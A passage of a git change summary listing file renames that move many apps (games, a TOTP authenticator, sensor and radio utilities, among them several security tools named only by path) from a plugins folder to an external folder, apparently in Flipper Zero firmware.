(100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Start_128x64.png (100%) rename applications/{plugins => external}/heap_defence_game/box.png (100%) rename applications/{plugins => external}/heap_defence_game/heap_defence.c (100%) rename applications/{plugins => external}/heap_defence_game/hede_assets.c (100%) rename applications/{plugins => external}/heap_defence_game/hede_assets.h (100%) rename applications/{plugins => external}/hex_viewer/LICENSE (100%) rename applications/{plugins => external}/hex_viewer/application.fam (100%) rename applications/{plugins => external}/hex_viewer/hex_viewer.c (100%) rename applications/{plugins => external}/hex_viewer/icons/hex_10px.png (100%) rename applications/{plugins => external}/ibtn_fuzzer/LICENSE.md (100%) rename applications/{plugins => external}/ibtn_fuzzer/application.fam (100%) rename applications/{plugins => external}/ibtn_fuzzer/ibtnfuzzer.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/ibtnfuzzer.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/ibutt_10px.png (100%) rename applications/{plugins => external}/ibtn_fuzzer/images/ibutt_10px.png (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h (100%) rename applications/{plugins => external}/lightmeter/LICENSE (100%) rename applications/{plugins => external}/lightmeter/README.md (100%) rename applications/{plugins => external}/lightmeter/application.fam (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/config/lightmeter_scene.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/config/lightmeter_scene.h (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/config/lightmeter_scene_config.h (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_about.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_config.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_help.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_main.c (100%) rename applications/{plugins => external}/lightmeter/gui/views/main_view.c (100%) rename applications/{plugins => external}/lightmeter/gui/views/main_view.h (100%) rename applications/{plugins => external}/lightmeter/icons/T_10x14.png (100%) rename applications/{plugins => external}/lightmeter/icons/f_10x14.png (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/BH1750.c (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/BH1750.h (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/LICENSE (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/README.md (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/docs/BH1750.pdf (100%) rename applications/{plugins => external}/lightmeter/lightmeter.c (100%) rename applications/{plugins => external}/lightmeter/lightmeter.h (100%) rename applications/{plugins => external}/lightmeter/lightmeter.png (100%) rename applications/{plugins => external}/lightmeter/lightmeter_config.h (100%) rename applications/{plugins => external}/lightmeter/lightmeter_helper.c (100%) rename applications/{plugins => external}/lightmeter/lightmeter_helper.h (100%) rename applications/{plugins => external}/metronome/README.md (100%) rename applications/{plugins => external}/metronome/application.fam (100%) rename applications/{plugins => external}/metronome/gui_extensions.c (100%) rename applications/{plugins => external}/metronome/gui_extensions.h (100%) rename applications/{plugins => external}/metronome/images/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/metronome/img/screenshot.png (100%) rename applications/{plugins => external}/metronome/img/wave_left_4x14.png (100%) rename applications/{plugins => external}/metronome/img/wave_right_4x14.png (100%) rename applications/{plugins => external}/metronome/metronome.c (100%) rename applications/{plugins => external}/metronome/metronome_icon.png (100%) rename applications/{plugins => external}/minesweeper/LICENSE (100%) rename applications/{plugins => external}/minesweeper/README.md (100%) rename applications/{plugins => external}/minesweeper/application.fam (100%) rename applications/{plugins => external}/minesweeper/assets.h (100%) rename applications/{plugins => external}/minesweeper/assets/asset (100%) rename applications/{plugins => external}/minesweeper/assets/mockup.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_0.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_0.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_1.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_1.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_2.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_2.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_3.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_3.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_4.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_4.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_5.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_5.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_6.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_6.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_7.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_7.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_8.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_8.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_empty.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_flag.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_flag.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_mine.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_mine.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_uncleared.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_uncleared.xbm (100%) rename applications/{plugins => external}/minesweeper/img/screenshot.png (100%) rename applications/{plugins => external}/minesweeper/minesweeper.c (100%) rename applications/{plugins => external}/minesweeper/minesweeper_icon.png (100%) rename applications/{plugins => external}/morse_code/application.fam (100%) rename applications/{plugins => external}/morse_code/morse_code.c (100%) rename applications/{plugins => external}/morse_code/morse_code_10px.png (100%) rename applications/{plugins => external}/morse_code/morse_code_worker.c (100%) rename applications/{plugins => external}/morse_code/morse_code_worker.h (100%) rename applications/{plugins => external}/mousejacker/application.fam (100%) rename applications/{plugins => external}/mousejacker/images/badusb_10px.png (100%) rename applications/{plugins => external}/mousejacker/images/sub1_10px.png (100%) rename applications/{plugins => external}/mousejacker/lib/nrf24/nrf24.c (100%) rename applications/{plugins => external}/mousejacker/lib/nrf24/nrf24.h (100%) rename applications/{plugins => external}/mousejacker/mouse_10px.png (100%) rename applications/{plugins => external}/mousejacker/mousejacker.c (100%) rename applications/{plugins => external}/mousejacker/mousejacker_ducky.c (100%) rename applications/{plugins => external}/mousejacker/mousejacker_ducky.h (100%) rename applications/{plugins => external}/multi_converter/application.fam (100%) rename applications/{plugins => external}/multi_converter/converter_10px.png (100%) rename applications/{plugins => external}/multi_converter/multi_converter.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_definitions.h (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_display.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_display.h (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_select.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_select.h (100%) rename applications/{plugins => external}/multi_converter/multi_converter_units.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_units.h (100%) rename applications/{plugins => external}/nrfsniff/application.fam (100%) rename applications/{plugins => external}/nrfsniff/lib/nrf24/nrf24.c (100%) rename applications/{plugins => external}/nrfsniff/lib/nrf24/nrf24.h (100%) rename applications/{plugins => external}/nrfsniff/nrfsniff.c (100%) rename applications/{plugins => external}/nrfsniff/nrfsniff_10px.png (100%) rename applications/{plugins => external}/playlist/application.fam (100%) rename applications/{plugins => external}/playlist/canvas_helper.c (100%) rename applications/{plugins => external}/playlist/canvas_helper.h (100%) rename applications/{plugins => external}/playlist/images/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/playlist/images/sub1_10px.png (100%) rename applications/{plugins => external}/playlist/playlist.c (100%) rename applications/{plugins => external}/playlist/playlist_10px.png (100%) rename applications/{plugins => external}/playlist/playlist_file.c (100%) rename applications/{plugins => external}/playlist/playlist_file.h (100%) rename applications/{plugins => external}/pocsag_pager/application.fam (100%) rename applications/{plugins => external}/pocsag_pager/helpers/pocsag_pager_event.h (100%) rename applications/{plugins => external}/pocsag_pager/helpers/pocsag_pager_types.h (100%) rename applications/{plugins => external}/pocsag_pager/images/Lock_7x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Message_8x7.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Pin_back_arrow_10x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Quest_7x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Scanning_123x52.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Unlock_7x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/WarningDolphin_45x42.png (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_10px.png (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_app.c (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_app_i.c (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_app_i.h (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_history.c (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_history.h (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pcsg_generic.c (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pcsg_generic.h (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pocsag.c (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pocsag.h (100%) rename applications/{plugins => external}/pocsag_pager/protocols/protocol_items.c (100%) rename applications/{plugins => external}/pocsag_pager/protocols/protocol_items.h (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_receiver.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene.h (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_about.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_config.h (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_start.c (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver.c (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver.h (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver_info.c (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver_info.h (100%) rename applications/{plugins => external}/protoview/LICENSE (100%) rename applications/{plugins => external}/protoview/README.md (100%) rename applications/{plugins => external}/protoview/app.c (100%) rename applications/{plugins => external}/protoview/app.h (100%) rename applications/{plugins => external}/protoview/app_subghz.c (100%) rename applications/{plugins => external}/protoview/appicon.png (100%) rename applications/{plugins => external}/protoview/application.fam (100%) rename applications/{plugins => external}/protoview/crc.c (100%) rename applications/{plugins => external}/protoview/custom_presets.h (100%) rename applications/{plugins => external}/protoview/fields.c (100%) rename applications/{plugins => external}/protoview/images/ProtoViewSignal.jpg (100%) rename applications/{plugins => external}/protoview/images/protoview_1.jpg (100%) rename applications/{plugins => external}/protoview/images/protoview_2.jpg (100%) rename applications/{plugins => external}/protoview/protocols/b4b1.c (100%) rename applications/{plugins => external}/protoview/protocols/keeloq.c (100%) rename applications/{plugins => external}/protoview/protocols/oregon2.c (100%) rename applications/{plugins => external}/protoview/protocols/pvchat.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/citroen.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/ford.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/renault.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/schrader.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/schrader_eg53ma4.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/toyota.c (100%) rename applications/{plugins => external}/protoview/protocols/unknown.c (100%) rename applications/{plugins => external}/protoview/raw_samples.c (100%) rename applications/{plugins => external}/protoview/raw_samples.h (100%) rename applications/{plugins => external}/protoview/signal.c (100%) rename applications/{plugins => external}/protoview/signal_file.c (100%) rename applications/{plugins => external}/protoview/ui.c (100%) rename applications/{plugins => external}/protoview/view_build.c (100%) rename applications/{plugins => external}/protoview/view_direct_sampling.c (100%) rename applications/{plugins => external}/protoview/view_info.c (100%) rename applications/{plugins => external}/protoview/view_raw_signal.c (100%) rename applications/{plugins => external}/protoview/view_settings.c (100%) rename applications/{plugins => external}/sentry_safe/application.fam (100%) rename applications/{plugins => external}/sentry_safe/safe_10px.png (100%) rename applications/{plugins => external}/sentry_safe/sentry_safe.c (100%) rename applications/{plugins => external}/solitaire/application.fam (100%) rename applications/{plugins => external}/solitaire/assets/card_graphics.png (100%) rename applications/{plugins => external}/solitaire/assets/solitaire_main.png (100%) rename applications/{plugins => external}/solitaire/common/card.c (100%) rename applications/{plugins => external}/solitaire/common/card.h (100%) rename applications/{plugins => external}/solitaire/common/dml.c (100%) rename applications/{plugins => external}/solitaire/common/dml.h (100%) rename applications/{plugins => external}/solitaire/common/menu.c (100%) rename applications/{plugins => external}/solitaire/common/menu.h (100%) rename applications/{plugins => external}/solitaire/common/queue.c (100%) rename applications/{plugins => external}/solitaire/common/queue.h (100%) rename applications/{plugins => external}/solitaire/common/ui.c (100%) rename applications/{plugins => external}/solitaire/common/ui.h (100%) rename applications/{plugins => external}/solitaire/defines.h (100%) rename applications/{plugins => external}/solitaire/solitaire.c (100%) rename applications/{plugins => external}/solitaire/solitaire_10px.png (100%) rename applications/{plugins => external}/spectrum_analyzer/application.fam (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_10px.png (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer.c (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer.h (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer_worker.c (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer_worker.h (100%) rename applications/{plugins => external}/subbrute (100%) rename applications/{plugins => external}/swd_probe/.gitignore (100%) rename applications/{plugins => external}/swd_probe/LICENSE.txt (100%) rename applications/{plugins => external}/swd_probe/README.md (100%) rename applications/{plugins => external}/swd_probe/adi.c (100%) rename applications/{plugins => external}/swd_probe/adi.h (100%) rename applications/{plugins => external}/swd_probe/application.fam (100%) rename applications/{plugins => external}/swd_probe/icons/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/swd_probe/icons/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/swd_probe/icons/app.png (100%) rename applications/{plugins => external}/swd_probe/icons/swd.png (100%) rename applications/{plugins => external}/swd_probe/jep106.c (100%) rename applications/{plugins => external}/swd_probe/jep106.h (100%) rename applications/{plugins => external}/swd_probe/jep106.inc (100%) rename applications/{plugins => external}/swd_probe/model/chip.ply (100%) rename applications/{plugins => external}/swd_probe/model/convert.py (100%) rename applications/{plugins => external}/swd_probe/model/model_chip.h (100%) rename applications/{plugins => external}/swd_probe/swd_probe_app.c (100%) rename applications/{plugins => external}/swd_probe/swd_probe_app.h (100%) rename applications/{plugins => external}/swd_probe/usb_uart.c (100%) rename applications/{plugins => external}/swd_probe/usb_uart.h (100%) rename applications/{plugins => external}/tetris_game/application.fam (100%) rename applications/{plugins => external}/tetris_game/tetris_10px.png (100%) rename applications/{plugins => external}/tetris_game/tetris_game.c (100%) rename applications/{plugins => external}/text_viewer/LICENSE (100%) rename applications/{plugins => external}/text_viewer/README.md (100%) rename applications/{plugins => external}/text_viewer/application.fam (100%) rename applications/{plugins => external}/text_viewer/icons/text_10px.png (100%) rename applications/{plugins => external}/text_viewer/text_viewer.c (100%) rename applications/{plugins => external}/text_viewer/textviewerflipper.PNG (100%) rename applications/{plugins => external}/tictactoe_game/application.fam (100%) rename applications/{plugins => external}/tictactoe_game/tictactoe_10px.png (100%) rename applications/{plugins => external}/tictactoe_game/tictactoe_game.c (100%) rename applications/{plugins => external}/totp/LICENSE (100%) rename applications/{plugins => external}/totp/application.fam (100%) rename applications/{plugins => external}/totp/cli/cli.c (100%) rename applications/{plugins => external}/totp/cli/cli.h (100%) rename applications/{plugins => external}/totp/cli/cli_helpers.c (100%) rename applications/{plugins => external}/totp/cli/cli_helpers.h (100%) rename applications/{plugins => external}/totp/cli/commands/add/add.c (100%) rename applications/{plugins => external}/totp/cli/commands/add/add.h (100%) rename applications/{plugins => external}/totp/cli/commands/delete/delete.c (100%) rename applications/{plugins => external}/totp/cli/commands/delete/delete.h (100%) rename applications/{plugins => external}/totp/cli/commands/help/help.c (100%) rename applications/{plugins => external}/totp/cli/commands/help/help.h (100%) rename applications/{plugins => external}/totp/cli/commands/list/list.c (100%) rename applications/{plugins => external}/totp/cli/commands/list/list.h (100%) rename applications/{plugins => external}/totp/cli/commands/move/move.c (100%) rename applications/{plugins => external}/totp/cli/commands/move/move.h (100%) rename applications/{plugins => external}/totp/cli/commands/notification/notification.c (100%) rename applications/{plugins => external}/totp/cli/commands/notification/notification.h (100%) rename applications/{plugins => external}/totp/cli/commands/pin/pin.c (100%) rename applications/{plugins => external}/totp/cli/commands/pin/pin.h (100%) rename applications/{plugins => external}/totp/cli/commands/reset/reset.c (100%) rename applications/{plugins => external}/totp/cli/commands/reset/reset.h (100%) rename applications/{plugins => external}/totp/cli/commands/timezone/timezone.c (100%) rename applications/{plugins => external}/totp/cli/commands/timezone/timezone.h (100%) rename applications/{plugins => external}/totp/images/DolphinCommon_56x48.png (100%) rename applications/{plugins => external}/totp/images/totp_arrow_bottom_10x5.png (100%) rename applications/{plugins => external}/totp/images/totp_arrow_left_8x9.png (100%) rename applications/{plugins => external}/totp/images/totp_arrow_right_8x9.png (100%) rename applications/{plugins => external}/totp/lib/base32/base32.c (100%) rename applications/{plugins => external}/totp/lib/base32/base32.h (100%) rename applications/{plugins => external}/totp/lib/list/list.c (100%) rename applications/{plugins => external}/totp/lib/list/list.h (100%) rename applications/{plugins => external}/totp/lib/polyfills/memset_s.c (100%) rename applications/{plugins => external}/totp/lib/polyfills/memset_s.h (100%) rename applications/{plugins => external}/totp/lib/polyfills/strnlen.c (100%) rename applications/{plugins => external}/totp/lib/polyfills/strnlen.h (100%) rename applications/{plugins => external}/totp/lib/roll_value/roll_value.c (100%) rename applications/{plugins => external}/totp/lib/roll_value/roll_value.h (100%) rename applications/{plugins => external}/totp/lib/timezone_utils/timezone_utils.c (100%) rename applications/{plugins => external}/totp/lib/timezone_utils/timezone_utils.h (100%) rename applications/{plugins => external}/totp/services/config/config.c (100%) rename applications/{plugins => external}/totp/services/config/config.h (100%) rename applications/{plugins => external}/totp/services/config/constants.h (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v1_to_v2.c (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v1_to_v2.h (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v2_to_v3.c (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v2_to_v3.h (100%) rename applications/{plugins => external}/totp/services/convert/convert.h (100%) rename applications/{plugins => external}/totp/services/crypto/crypto.c (100%) rename applications/{plugins => external}/totp/services/crypto/crypto.h (100%) rename applications/{plugins => external}/totp/services/hmac/byteswap.c (100%) rename applications/{plugins => external}/totp/services/hmac/byteswap.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_common.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha1.c (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha1.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha256.c (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha256.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha512.c (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha512.h (100%) rename applications/{plugins => external}/totp/services/hmac/memxor.c (100%) rename applications/{plugins => external}/totp/services/hmac/memxor.h (100%) rename applications/{plugins => external}/totp/services/hmac/sha1.c (100%) rename applications/{plugins => external}/totp/services/hmac/sha1.h (100%) rename applications/{plugins => external}/totp/services/hmac/sha256.c (100%) rename applications/{plugins => external}/totp/services/hmac/sha256.h (100%) rename applications/{plugins => external}/totp/services/hmac/sha512.c (100%) rename applications/{plugins => external}/totp/services/hmac/sha512.h (100%) rename applications/{plugins => external}/totp/services/hmac/u64.h (100%) rename applications/{plugins => external}/totp/services/totp/totp.c (100%) rename applications/{plugins => external}/totp/services/totp/totp.h (100%) rename applications/{plugins => external}/totp/totp_10px.png (100%) rename applications/{plugins => external}/totp/totp_app.c (100%) rename applications/{plugins => external}/totp/types/common.h (100%) rename applications/{plugins => external}/totp/types/event_type.h (100%) rename applications/{plugins => external}/totp/types/notification_method.h (100%) rename applications/{plugins => external}/totp/types/nullable.h (100%) rename applications/{plugins => external}/totp/types/plugin_event.h (100%) rename applications/{plugins => external}/totp/types/plugin_state.h (100%) rename applications/{plugins => external}/totp/types/token_info.c (100%) rename applications/{plugins => external}/totp/types/token_info.h (100%) rename applications/{plugins => external}/totp/types/user_pin_codes.h (100%) rename applications/{plugins => external}/totp/ui/common_dialogs.c (100%) rename applications/{plugins => external}/totp/ui/common_dialogs.h (100%) rename applications/{plugins => external}/totp/ui/constants.h (100%) rename applications/{plugins => external}/totp/ui/scene_director.c (100%) rename applications/{plugins => external}/totp/ui/scene_director.h (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_input_text.c (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_input_text.h (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h (100%) rename applications/{plugins => external}/totp/ui/scenes/app_settings/totp_app_settings.c (100%) rename applications/{plugins => external}/totp/ui/scenes/app_settings/totp_app_settings.h (100%) rename applications/{plugins => external}/totp/ui/scenes/authenticate/totp_scene_authenticate.c (100%) rename applications/{plugins => external}/totp/ui/scenes/authenticate/totp_scene_authenticate.h (100%) rename applications/{plugins => external}/totp/ui/scenes/generate_token/totp_scene_generate_token.c (100%) rename applications/{plugins => external}/totp/ui/scenes/generate_token/totp_scene_generate_token.h (100%) rename applications/{plugins => external}/totp/ui/scenes/token_menu/totp_scene_token_menu.c (100%) rename applications/{plugins => external}/totp/ui/scenes/token_menu/totp_scene_token_menu.h (100%) rename applications/{plugins => external}/totp/ui/totp_scenes_enum.h (100%) rename applications/{plugins => external}/totp/ui/ui_controls.c (100%) rename applications/{plugins => external}/totp/ui/ui_controls.h (100%) rename applications/{plugins => external}/totp/workers/type_code/type_code.c (100%) rename applications/{plugins => external}/totp/workers/type_code/type_code.h (100%) rename applications/{plugins => external}/uart_terminal/LICENSE (100%) rename applications/{plugins => external}/uart_terminal/README.md (100%) rename applications/{plugins => external}/uart_terminal/application.fam (100%) rename applications/{plugins => external}/uart_terminal/assets/KeyBackspaceSelected_16x9.png (100%) rename applications/{plugins => external}/uart_terminal/assets/KeyBackspace_16x9.png (100%) rename applications/{plugins => external}/uart_terminal/assets/KeySaveSelected_24x11.png (100%) rename applications/{plugins => external}/uart_terminal/assets/KeySave_24x11.png (100%) rename applications/{plugins => external}/uart_terminal/assets/WarningDolphin_45x42.png (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene.c (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene.h (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_config.h (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_console_output.c (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_start.c (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_text_input.c (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal.png (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_app.c (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_app.h (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_app_i.h (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_custom_event.h (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_uart.c (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_uart.h (100%) rename applications/{plugins => external}/uart_terminal/uart_text_input.c (100%) rename applications/{plugins => external}/uart_terminal/uart_text_input.h (100%) rename applications/{plugins => external}/uart_terminal/uart_validators.c (100%) rename applications/{plugins => external}/uart_terminal/uart_validators.h (100%) rename applications/{plugins => external}/unitemp/LICENSE.md (100%) rename applications/{plugins => external}/unitemp/README.md (100%) rename applications/{plugins => external}/unitemp/Sensors.c (100%) rename applications/{plugins => external}/unitemp/Sensors.h (100%) rename applications/{plugins => external}/unitemp/application.fam (100%) rename applications/{plugins => external}/unitemp/assets/README.MD (100%) rename applications/{plugins => external}/unitemp/assets/flipper_happy_2_60x38.png (100%) rename applications/{plugins => external}/unitemp/assets/flipper_happy_60x38.png (100%) rename applications/{plugins => external}/unitemp/assets/flipper_sad_60x38.png (100%) rename applications/{plugins => external}/unitemp/assets/hum_9x15.png (100%) rename applications/{plugins => external}/unitemp/assets/in_hg_15x15.png (100%) rename applications/{plugins => external}/unitemp/assets/mm_hg_15x15.png (100%) rename applications/{plugins => external}/unitemp/assets/pressure_7x13.png (100%) rename applications/{plugins => external}/unitemp/assets/repo_qr_50x50.png (100%) rename applications/{plugins => external}/unitemp/assets/sherlok_53x45.png (100%) rename applications/{plugins => external}/unitemp/assets/temp_C_11x14.png (100%) rename applications/{plugins => external}/unitemp/assets/temp_F_11x14.png (100%) rename applications/{plugins => external}/unitemp/icon.png (100%) rename applications/{plugins => external}/unitemp/interfaces/I2CSensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/I2CSensor.h (100%) rename applications/{plugins => external}/unitemp/interfaces/OneWireSensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/OneWireSensor.h (100%) rename applications/{plugins => external}/unitemp/interfaces/SPISensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/SPISensor.h (100%) rename applications/{plugins => external}/unitemp/interfaces/SingleWireSensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/SingleWireSensor.h (100%) rename applications/{plugins => external}/unitemp/sensors/AM2320.c (100%) rename applications/{plugins => external}/unitemp/sensors/AM2320.h (100%) rename applications/{plugins => external}/unitemp/sensors/BME680.c (100%) rename applications/{plugins => external}/unitemp/sensors/BME680.h (100%) rename applications/{plugins => external}/unitemp/sensors/BMP180.c (100%) rename applications/{plugins => external}/unitemp/sensors/BMP180.h (100%) rename applications/{plugins => external}/unitemp/sensors/BMx280.c (100%) rename applications/{plugins => external}/unitemp/sensors/BMx280.h (100%) rename applications/{plugins => external}/unitemp/sensors/DHT20.c (100%) rename applications/{plugins => external}/unitemp/sensors/DHT20.h (100%) rename applications/{plugins => external}/unitemp/sensors/HDC1080.c (100%) rename applications/{plugins => external}/unitemp/sensors/HDC1080.h (100%) rename applications/{plugins => external}/unitemp/sensors/HTU21x.c (100%) rename applications/{plugins => external}/unitemp/sensors/HTU21x.h (100%) rename applications/{plugins => external}/unitemp/sensors/LM75.c (100%) rename applications/{plugins => external}/unitemp/sensors/LM75.h (100%) rename applications/{plugins => external}/unitemp/sensors/MAX31855.c (100%) rename applications/{plugins => external}/unitemp/sensors/MAX31855.h (100%) rename applications/{plugins => external}/unitemp/sensors/MAX6675.c (100%) rename applications/{plugins => external}/unitemp/sensors/MAX6675.h (100%) rename applications/{plugins => external}/unitemp/sensors/SHT30.c (100%) rename applications/{plugins => external}/unitemp/sensors/SHT30.h (100%) rename applications/{plugins => external}/unitemp/sensors/Sensors.xlsx (100%) rename applications/{plugins => external}/unitemp/unitemp.c (100%) rename applications/{plugins => external}/unitemp/unitemp.h (100%) rename applications/{plugins => external}/unitemp/views/General_view.c (100%) rename applications/{plugins => external}/unitemp/views/MainMenu_view.c (100%) rename applications/{plugins => external}/unitemp/views/Popup_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorActions_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorEdit_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorNameEdit_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorsList_view.c (100%) rename applications/{plugins => external}/unitemp/views/Settings_view.c (100%) rename applications/{plugins => external}/unitemp/views/UnitempViews.h (100%) rename applications/{plugins => external}/unitemp/views/Widgets_view.c (100%) rename applications/{plugins => external}/wav_player/README.md (100%) rename applications/{plugins => external}/wav_player/application.fam (100%) rename applications/{plugins => external}/wav_player/images/music_10px.png (100%) rename applications/{plugins => external}/wav_player/wav_10px.png (100%) rename applications/{plugins => external}/wav_player/wav_parser.c (100%) rename applications/{plugins => 